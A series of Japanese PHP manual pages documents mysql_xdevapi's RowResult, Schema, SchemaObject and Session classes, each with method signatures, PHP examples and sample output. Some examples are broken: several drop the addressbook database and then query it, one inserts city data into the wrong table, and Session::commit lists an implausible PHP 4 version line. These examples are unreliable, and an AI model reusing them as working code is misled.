There are no user contributed notes for this page.


RowResult のコンストラクタ

  • ≪ mysql_xdevapi\RowResult
  • RowResult::fetchAll ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • RowResult のコンストラクタ

RowResult::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::__construct — RowResult のコンストラクタ

説明

private mysql_xdevapi\RowResult::__construct ( )

データベースへの問い合わせから得られる結果セットを表現します。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\RowResult::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$row = $table->select('name', 'age')->where('age > 18')->execute()->fetchAll();

print_r($row);

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


結果セットから全ての行を取得する

  • ≪ RowResult::__construct
  • RowResult::fetchOne ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • 結果セットから全ての行を取得する

RowResult::fetchAll

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::fetchAll — 結果セットから全ての行を取得する

説明

public mysql_xdevapi\RowResult::fetchAll ( ) : array

結果セットから全ての行を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

クエリで取得した全ての結果を含む、数値インデックスの配列。 個々の結果は連想配列です。行が存在しない場合は、空の配列が返されます。

例

例1 mysql_xdevapi\RowResult::fetchAll() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


結果セットから行を取得する

  • ≪ RowResult::fetchAll
  • RowResult::getColumnsCount ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • 結果セットから行を取得する

RowResult::fetchOne

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::fetchOne — 結果セットから行を取得する

説明

public mysql_xdevapi\RowResult::fetchOne ( ) : array

結果セットから一行取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

結果を連想配列として返します。 結果が存在しない場合は null を返します。

例

例1 mysql_xdevapi\RowResult::fetchOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$row = $table->select('name', 'age')->where('age < 40')->execute()->fetchOne();

print_r($row);

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name] => Sam
    [age] => 33
)

User Contributed Notes

There are no user contributed notes for this page.


カラムの数を取得する

  • ≪ RowResult::fetchOne
  • RowResult::getColumnNames ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • カラムの数を取得する

RowResult::getColumnsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::getColumnsCount — カラムの数を取得する

説明

public mysql_xdevapi\RowResult::getColumnsCount ( ) : int

結果セットに存在するカラムの数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

カラムの数を返します。カラムが存在しない場合は 0 を返します。

変更履歴

バージョン | 説明
8.0.14 | メソッド名が getColumnCount() から getColumnsCount() に変わりました。

例

例1 mysql_xdevapi\RowResult::getColumnsCount() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

echo $sql->getColumnsCount();

上の例の出力は、 たとえば以下のようになります。

2

User Contributed Notes

There are no user contributed notes for this page.


全てのカラム名を取得する

  • ≪ RowResult::getColumnsCount
  • RowResult::getColumns ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • 全てのカラム名を取得する

RowResult::getColumnNames

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::getColumnNames — 全てのカラム名を取得する

説明

public mysql_xdevapi\RowResult::getColumnNames ( ) : array

結果セットに存在するカラム名を全て取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

インデックスが数字のカラム名の配列を返します。 結果セットが空の場合は、空の配列を返します。

例

例1 mysql_xdevapi\RowResult::getColumnNames() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

$colnames = $sql->getColumnNames();

print_r($colnames);

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => name
    [1] => age
)

User Contributed Notes

There are no user contributed notes for this page.


カラムのメタデータを取得する

  • ≪ RowResult::getColumnNames
  • RowResult::getWarnings ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • カラムのメタデータを取得する

RowResult::getColumns

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::getColumns — カラムのメタデータを取得する

説明

public mysql_xdevapi\RowResult::getColumns ( ) : array

結果セットに存在するカラムのメタデータを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

結果のカラムを表現する FieldMetadata オブジェクトの配列を返します。 結果セットが空の場合は、空の配列を返します。

例

例1 mysql_xdevapi\RowResult::getColumns() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

$cols = $sql->getColumns();

print_r($cols);

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 7
            [type_name] => BYTES
            [name] => name
            [original_name] => name
            [table] => names
            [original_table] => names
            [schema] => addressbook
            [catalog] => def
            [collation] => 255
            [fractional_digits] => 0
            [length] => 65535
            [flags] => 0
            [content_type] => 0
        )
    [1] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 1
            [type_name] => SINT
            [name] => age
            [original_name] => age
            [table] => names
            [original_table] => names
            [schema] => addressbook
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 0
            [length] => 11
            [flags] => 0
            [content_type] => 0
        )
)

User Contributed Notes

There are no user contributed notes for this page.


直近の操作から生じた警告を取得する

  • ≪ RowResult::getColumns
  • RowResult::getWarningsCount ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • 直近の操作から生じた警告を取得する

RowResult::getWarnings

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::getWarnings — 直近の操作から生じた警告を取得する

説明

public mysql_xdevapi\RowResult::getWarnings ( ) : array

直近の RowResult の操作から生じた警告を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作から発生した警告オブジェクトの配列。 個々のオブジェクトはエラーの 'message' と 'level' と 'code' を定義しています。 エラーが発生していない場合は、空の配列が返されます。

例

例1 mysql_xdevapi\RowResult::getWarnings() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table  = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


直近の操作から生じた警告の数を取得する

  • ≪ RowResult::getWarnings
  • mysql_xdevapi\Schema ≫
  • PHP Manual
  • mysql_xdevapi\RowResult
  • 直近の操作から生じた警告の数を取得する

RowResult::getWarningsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

RowResult::getWarningsCount — 直近の操作から生じた警告の数を取得する

説明

public mysql_xdevapi\RowResult::getWarningsCount ( ) : int

直近の RowResult への操作から生じた警告の数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作から生じた警告の数を返します。

例

例1 mysql_xdevapi\RowResult::getWarningsCount() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table  = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

上の例の出力は、 たとえば以下のようになります。

2

User Contributed Notes

There are no user contributed notes for this page.


Schema クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Schema implements mysql_xdevapi\DatabaseObject {
/* プロパティ */
public $name ;
/* メソッド */
public createCollection ( string $name ) : mysql_xdevapi\Collection
public dropCollection ( string $collection_name ) : bool
public existsInDatabase ( ) : bool
public getCollection ( string $name ) : mysql_xdevapi\Collection
public getCollectionAsTable ( string $name ) : mysql_xdevapi\Table
public getCollections ( ) : array
public getName ( ) : string
public getSession ( ) : mysql_xdevapi\Session
public getTable ( string $name ) : mysql_xdevapi\Table
public getTables ( ) : array
}

プロパティ

name

目次

  • Schema::__construct — Schema のコンストラクタ
  • Schema::createCollection — スキーマにコレクションを追加する
  • Schema::dropCollection — スキーマからコレクションを削除する
  • Schema::existsInDatabase — データベースに存在するかをチェックする
  • Schema::getCollection — スキーマからコレクションを取得する
  • Schema::getCollectionAsTable — コレクションをテーブルオブジェクトとして取得する
  • Schema::getCollections — スキーマに属する全てのコレクションを取得する
  • Schema::getName — スキーマの名前を取得する
  • Schema::getSession — スキーマのセッションを取得する
  • Schema::getTable — スキーマのテーブルを取得する
  • Schema::getTables — スキーマのテーブルを取得する

User Contributed Notes

There are no user contributed notes for this page.


Schema のコンストラクタ

  • ≪ mysql_xdevapi\Schema
  • Schema::createCollection ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • Schema のコンストラクタ

Schema::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::__construct — Schema のコンストラクタ

説明

private mysql_xdevapi\Schema::__construct ( )

スキーマオブジェクトは、スキーマ(データベース)への完全なアクセスを提供します。

パラメータ

この関数にはパラメータはありません。

例

例1 Schema::__construct の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

print_r($schema->gettables());
print_r($schema->getcollections());

上の例の出力は、 たとえば以下のようになります。

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [trees] => mysql_xdevapi\Collection Object
        (
            [name] => trees
        )
)

User Contributed Notes

There are no user contributed notes for this page.


スキーマにコレクションを追加する

  • ≪ Schema::__construct
  • Schema::dropCollection ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマにコレクションを追加する

Schema::createCollection

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::createCollection — スキーマにコレクションを追加する

説明

public mysql_xdevapi\Schema::createCollection ( string $name ) : mysql_xdevapi\Collection

スキーマ内にコレクションを作成します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

例

例1 Schema::createCollection の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

print_r($schema->gettables());
print_r($schema->getcollections());

上の例の出力は、 たとえば以下のようになります。

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [trees] => mysql_xdevapi\Collection Object
        (
            [name] => trees
        )
)

User Contributed Notes

There are no user contributed notes for this page.


スキーマからコレクションを削除する

  • ≪ Schema::createCollection
  • Schema::existsInDatabase ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマからコレクションを削除する

Schema::dropCollection

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::dropCollection — スキーマからコレクションを削除する

説明

public mysql_xdevapi\Schema::dropCollection ( string $collection_name ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

collection_name

返り値

例

例1 Schema::dropCollection の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");

$schema->createCollection("trees");
$schema->dropCollection("trees");
$schema->createCollection("buildings");

print_r($schema->gettables());
print_r($schema->getcollections());

上の例の出力は、 たとえば以下のようになります。

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [buildings] => mysql_xdevapi\Collection Object
        (
            [name] => buildings
        )
)

User Contributed Notes

There are no user contributed notes for this page.


データベースに存在するかをチェックする

  • ≪ Schema::dropCollection
  • Schema::getCollection ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • データベースに存在するかをチェックする

Schema::existsInDatabase

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::existsInDatabase — データベースに存在するかをチェックする

説明

public mysql_xdevapi\Schema::existsInDatabase ( ) : bool

現在のオブジェクト(スキーマ、テーブル、コレクション、またはビュー)が、 スキーマオブジェクト内に存在しているかを調べます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

スキーマ、コレクション、テーブル、またはビューがスキーマに存在していれば true そうでなければ false を返します。

例

例1 Schema::existsInDatabase の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

// ...

$trees = $schema->getCollection("trees");

// ...

// Is this collection still in the database (schema)?
if ($trees->existsInDatabase()) {
    echo "Yes, the 'trees' collection is still present.";
}

上の例の出力は、 たとえば以下のようになります。

Yes, the 'trees' collection is still present.

User Contributed Notes

There are no user contributed notes for this page.


スキーマからコレクションを取得する

  • ≪ Schema::existsInDatabase
  • Schema::getCollectionAsTable ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマからコレクションを取得する

Schema::getCollection

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::getCollection — スキーマからコレクションを取得する

説明

public mysql_xdevapi\Schema::getCollection ( string $name ) : mysql_xdevapi\Collection

スキーマからコレクションを取得します。

パラメータ

name

取得するコレクションの名前

返り値

選択したコレクションを指す Collection オブジェクトを返します。

例

例1 Schema::getCollection の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

// ...

$trees = $schema->getCollection("trees");

var_dump($trees);

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\Collection)#3 (1) {
  ["name"]=>
  string(5) "trees"
}

User Contributed Notes

There are no user contributed notes for this page.


コレクションをテーブルオブジェクトとして取得する

  • ≪ Schema::getCollection
  • Schema::getCollections ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • コレクションをテーブルオブジェクトとして取得する

Schema::getCollectionAsTable

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::getCollectionAsTable — コレクションをテーブルオブジェクトとして取得する

説明

public mysql_xdevapi\Schema::getCollectionAsTable ( string $name ) : mysql_xdevapi\Table

コレクションをコレクションオブジェクトではなく、テーブルオブジェクトとして取得します。

パラメータ

name

テーブルオブジェクトとしてインスタンス化するためのコレクション名

返り値

コレクションに対応するテーブルオブジェクトを返します。

例

例1 Schema::getCollectionAsTable の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema  = $session->getSchema("addressbook");
$collect = $schema->createCollection("people");
$collect->add('{"name": "Fred",  "age": 21, "job": "Construction"}')->execute();
$collect->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

$table      = $schema->getCollectionAsTable("people");
$collection = $schema->getCollection("people");

var_dump($table);
var_dump($collection);

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\Table)#4 (1) {
  ["name"]=>
  string(6) "people"
}

object(mysql_xdevapi\Collection)#5 (1) {
  ["name"]=>
  string(6) "people"
}

User Contributed Notes

There are no user contributed notes for this page.


スキーマに属する全てのコレクションを取得する

  • ≪ Schema::getCollectionAsTable
  • Schema::getName ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマに属する全てのコレクションを取得する

Schema::getCollections

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::getCollections — スキーマに属する全てのコレクションを取得する

説明

public mysql_xdevapi\Schema::getCollections ( ) : array

このスキーマに属するコレクションのリストを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

このスキーマに属する全てのコレクションを配列にして返します。 個々の要素は、コレクション名をキーとし、コレクションオブジェクトが値となります。

例

例1 mysql_xdevapi\Schema::getCollections() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema  = $session->getSchema("addressbook");
$collect = $schema->createCollection("people");
$collect->add('{"name": "Fred",  "age": 21, "job": "Construction"}')->execute();
$collect->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

$collections = $schema->getCollections();
var_dump($collections);
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  ["people"]=>
  object(mysql_xdevapi\Collection)#4 (1) {
    ["name"]=>
    string(6) "people"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


スキーマの名前を取得する

  • ≪ Schema::getCollections
  • Schema::getSession ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマの名前を取得する

Schema::getName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::getName — スキーマの名前を取得する

説明

public mysql_xdevapi\Schema::getName ( ) : string

スキーマの名前を取得します

パラメータ

この関数にはパラメータはありません。

返り値

スキーマオブジェクトに接続しているスキーマの名前を文字列として返します。

例

例1 mysql_xdevapi\Schema::getName() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema  = $session->getSchema("addressbook");

// ...

var_dump($schema->getName());
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "addressbook"

User Contributed Notes

There are no user contributed notes for this page.


スキーマのセッションを取得する

  • ≪ Schema::getName
  • Schema::getTable ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマのセッションを取得する

Schema::getSession

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::getSession — スキーマのセッションを取得する

説明

public mysql_xdevapi\Schema::getSession ( ) : mysql_xdevapi\Session

スキーマオブジェクトから、新しいセッションオブジェクトを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

Session オブジェクトを返します。

例

例1 mysql_xdevapi\Schema::getSession() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema  = $session->getSchema("addressbook");

// ...

$newsession = $schema->getSession();

var_dump($session);
var_dump($newsession);
?>

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\Session)#1 (0) {
}

object(mysql_xdevapi\Session)#3 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


スキーマのテーブルを取得する

  • ≪ Schema::getSession
  • Schema::getTables ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマのテーブルを取得する

Schema::getTable

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::getTable — スキーマのテーブルを取得する

説明

public mysql_xdevapi\Schema::getTable ( string $name ) : mysql_xdevapi\Table

スキーマで与えられたテーブルの Table オブジェクトを取得します。

パラメータ

name

テーブルの名前

返り値

Table オブジェクトを返します

例

例1 mysql_xdevapi\Schema::getTable() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


スキーマのテーブルを取得する

  • ≪ Schema::getTable
  • mysql_xdevapi\SchemaObject ≫
  • PHP Manual
  • mysql_xdevapi\Schema
  • スキーマのテーブルを取得する

Schema::getTables

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Schema::getTables — スキーマのテーブルを取得する

説明

public mysql_xdevapi\Schema::getTables ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

このスキーマにある全てのテーブル名を配列として返します。 個々の要素は、テーブル名をキーとする Table オブジェクトです。

例

例1 mysql_xdevapi\Schema::getTables() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$session->sql("CREATE TABLE addressbook.cities(name text, population int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Portland', 639863), ('Seattle', 704352)")->execute();

$schema = $session->getSchema("addressbook");
$tables = $schema->getTables();

var_dump($tables);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["cities"]=>
  object(mysql_xdevapi\Table)#3 (1) {
    ["name"]=>
    string(6) "cities"
  }

  ["names"]=>
  object(mysql_xdevapi\Table)#4 (1) {
    ["name"]=>
    string(5) "names"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


SchemaObject インターフェイス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\SchemaObject implements mysql_xdevapi\DatabaseObject {
/* メソッド */
abstract getSchema ( ) : mysql_xdevapi\Schema
}

目次

  • SchemaObject::getSchema — スキーマオブジェクトを得る

User Contributed Notes

There are no user contributed notes for this page.


スキーマオブジェクトを得る

  • ≪ mysql_xdevapi\SchemaObject
  • mysql_xdevapi\Session ≫
  • PHP Manual
  • mysql_xdevapi\SchemaObject
  • スキーマオブジェクトを得る

SchemaObject::getSchema

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SchemaObject::getSchema — スキーマオブジェクトを得る

説明

abstract mysql_xdevapi\SchemaObject::getSchema ( ) : mysql_xdevapi\Schema

スキーマオブジェクトを取得するために、他のオブジェクトから使われます。

パラメータ

この関数にはパラメータはありません。

返り値

現在のスキーマオブジェクトを返します。

例

例1 mysql_xdevapi\Session::getSchema() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schema  = $session->getSchema("addressbook");

print_r($schema);

上の例の出力は、 たとえば以下のようになります。

mysql_xdevapi\Schema Object
(
    [name] => addressbook
)

User Contributed Notes

There are no user contributed notes for this page.


Session クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Session {
/* メソッド */
public close ( ) : bool
public commit ( ) : Object
public createSchema ( string $schema_name ) : mysql_xdevapi\Schema
public dropSchema ( string $schema_name ) : bool
public generateUUID ( ) : string
public getDefaultSchema ( ) : string
public getSchema ( string $schema_name ) : mysql_xdevapi\Schema
public getSchemas ( ) : array
public getServerVersion ( ) : int
public listClients ( ) : array
public quoteName ( string $name ) : string
public releaseSavepoint ( string $name ) : void
public rollback ( ) : void
public rollbackTo ( string $name ) : void
public setSavepoint ( string $name = ? ) : string
public sql ( string $query ) : mysql_xdevapi\SqlStatement
public startTransaction ( ) : void
}

目次

  • Session::close — セッションを閉じる
  • Session::commit — トランザクションをコミットする
  • Session::__construct — Session のコンストラクタ
  • Session::createSchema — 新しいスキーマを作成する
  • Session::dropSchema — スキーマを削除します
  • Session::generateUUID — 新しいUUIDを取得する
  • Session::getDefaultSchema — デフォルトのスキーマ名を取得する
  • Session::getSchema — 新しいスキーマオブジェクトを取得する
  • Session::getSchemas — スキーマを取得する
  • Session::getServerVersion — サーバのバージョンを取得する
  • Session::listClients — クライアントの一覧を取得する
  • Session::quoteName — クォートを追加する
  • Session::releaseSavepoint — 設定されたセーブポイントをリリースする
  • Session::rollback — トランザクションをロールバックする
  • Session::rollbackTo — セーブポイントまでトランザクションをロールバックする
  • Session::setSavepoint — セーブポイントを作成する
  • Session::sql — SQLクエリを実行する
  • Session::startTransaction — トランザクションを開始する

User Contributed Notes

There are no user contributed notes for this page.


セッションを閉じる

  • ≪ mysql_xdevapi\Session
  • Session::commit ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • セッションを閉じる

Session::close

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::close — セッションを閉じる

説明

public mysql_xdevapi\Session::close ( ) : bool

サーバとのセッションを閉じます。

パラメータ

この関数にはパラメータはありません。

返り値

セッションが閉じられたら true を返します。

例

例1 mysql_xdevapi\Session::close() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$session->close();

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをコミットする

  • ≪ Session::close
  • Session::__construct ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • トランザクションをコミットする

Session::commit

(PHP 4 >= 4.4.0, PHP 5, PHP 7, PHP 8)

Session::commit — トランザクションをコミットする

説明

public mysql_xdevapi\Session::commit ( ) : Object

トランザクションをコミットします。

パラメータ

この関数にはパラメータはありません。

返り値

SqlStatementResult オブジェクトを返します。

例

例1 mysql_xdevapi\Session::commit() の例

<?php
$session    = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();

$collection->add('{"John":42, "Sam":33}')->execute();
$savepoint = $session->setSavepoint();

$session->commit();
$session->close();

User Contributed Notes

There are no user contributed notes for this page.


Session のコンストラクタ

  • ≪ Session::commit
  • Session::createSchema ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • Session のコンストラクタ

Session::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::__construct — Session のコンストラクタ

説明

private mysql_xdevapi\Session::__construct ( )

セッションオブジェクトです。 getSession() によってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Session::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


新しいスキーマを作成する

  • ≪ Session::__construct
  • Session::dropSchema ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • 新しいスキーマを作成する

Session::createSchema

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::createSchema — 新しいスキーマを作成する

説明

public mysql_xdevapi\Session::createSchema ( string $schema_name ) : mysql_xdevapi\Schema

  新しいスキーマを作成します。

